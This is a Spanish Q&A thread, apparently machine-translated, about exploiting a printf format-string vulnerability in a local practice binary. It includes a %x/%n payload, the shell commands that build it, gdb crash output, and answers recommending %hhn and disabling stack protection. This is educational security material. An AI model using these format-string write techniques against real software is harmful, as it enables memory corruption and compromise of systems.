Fallo de segmentación al tratar de explotar la vulnerabilidad de impresión

3

Estoy tratando de aprender más sobre la vulnerabilidad de printf. Entiendo la teoría pero no puedo ponerla en práctica.

TL; DR

Todos mis intentos de escribir un solo byte en la memoria dan como resultado un error de segmentación.

¿Cuál es la razón más probable de la falla? Mi conjetura es que puede ser algún tipo de protección en los compiladores / SO modernos (estoy ejecutando eso en Ubuntu Xenial de 64 bits), pero no sé mucho al respecto.

Detalles

Soy capaz de leer la pila. Descubrí que la llamada que estoy intentando explotar coloca 6 * 4 bytes delante de mi entrada:

Your choice: AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x
You entered: AAAA.00000001.00000005.f76c7d60.0000000a.09787008.ff9c9e48.41414141

Desarmé el binario y encontré las ubicaciones de memoria que quiero cambiar. Probé varias direcciones, tanto código como datos con el mismo resultado. Por ejemplo, la dirección de la cadena Tu elección: es 0x0804b795 .

$ gdb -batch -ex "x/s 0x0804b795" ./a.out
0x804b795:  "Your choice: "

Puedo escribir esa dirección en la carga útil:

$ echo "the binary ignores the 1st line" > ./payload
$ echo $(printf "\x95\xb7\x04\x08").%08x.%08x.%08x.%08x.%08x.%08x.%08x >> ./payload
$ cat payload - | ./a.out

Your choice: You entered: ?.00000001.00000005.f76f5d60.0000000a.09844008.ff8ff1d8.0804b795

Luego, reemplazo el último %08x con %n para escribir en esa dirección. El número de caracteres impresos sería 4 (para la dirección) + 6 * 8 (rellenado% x) + 7 (puntos) = 59, lo que pone el valor a escribir en el rango ASCII; 59 significa punto y coma: un carácter adecuado para escribir en una cadena.

$ echo "the binary ignores the 1st line" > ./payload
$ echo $(printf "\x95\xb7\x04\x08").%08x.%08x.%08x.%08x.%08x.%08x.%n >> ./payload
$ cat payload | ./a.out

Según mi conocimiento, debería funcionar y esperaba ver el mensaje ; nuestra elección en la próxima iteración, pero lo estoy obteniendo

Your choice: You entered: 

Segmentation fault

Para confirmar:

$ gdb a.out

(gdb) run < payload

Your choice: You entered:


Program received signal SIGSEGV, Segmentation fault.
0xf7e58dff in vfprintf () from /lib32/libc.so.6

(gdb) bt
#0  0xf7e58dff in vfprintf () from /lib32/libc.so.6
#1  0xf7e5df66 in printf () from /lib32/libc.so.6
#2  0x080487b4 in getInput ()
#3  0x0804b206 in programMain ()
#4  0x0804b3b0 in main ()

¿Qué me estoy perdiendo? ¿Qué más puedo comprobar?

    
pregunta vitaly 28.09.2016 - 08:29
fuente

2 respuestas

2

Le recomiendo que compruebe si la dirección 0x0804b795 es de escritura.

Puede ver las diferentes regiones de un proceso en ejecución en /proc/PID/maps . Por ejemplo:

$ sleep 10 &
[1] 1438
$ cat /proc/$(pgrep -f 'sleep 10')/maps
08048000-0804d000 r-xp 00000000 08:01 399565     /bin/sleep
0804d000-0804e000 r--p 00005000 08:01 399565     /bin/sleep
0804e000-0804f000 rw-p 00006000 08:01 399565     /bin/sleep
084b4000-084d5000 rw-p 00000000 00:00 0          [heap]
[...]

En este caso, solo se pueden escribir las direcciones entre 0804e000-0804f000 y 084b4000-084d5000.

Dentro de GDB, puedes usar info proc o info inferior para obtener el PID del programa depurado.

Además, tenga en cuenta que %n escribirá un valor entero, no un solo carácter. Quiero decir, en este caso escribirá 4 caracteres (en little-endian). Pero puedes usar %hhn para escribir un solo carácter.

Te recomiendo que leas enlace y mires a printf(3) documentación.

    
respondido por el zuazo 01.10.2016 - 04:13
fuente
1

Intenta echar un vistazo aquí: Desbordamientos de pila - Derrotas de Canarias, ASLR, DEP, NX

Parece que podrías tener un canario apilado. Necesitará compilar específicamente el programa de destino sin la protección de pila de pila. Aprenda más sobre cómo aquí: enlace

En resumen, deberías hacer:

  

gcc target.c -fno-stack-protector

También! Asegúrese de que su cadena tenga un byte nulo al final \ 00 :)

    
respondido por el returneax 01.10.2016 - 04:14
fuente

Lea otras preguntas en las etiquetas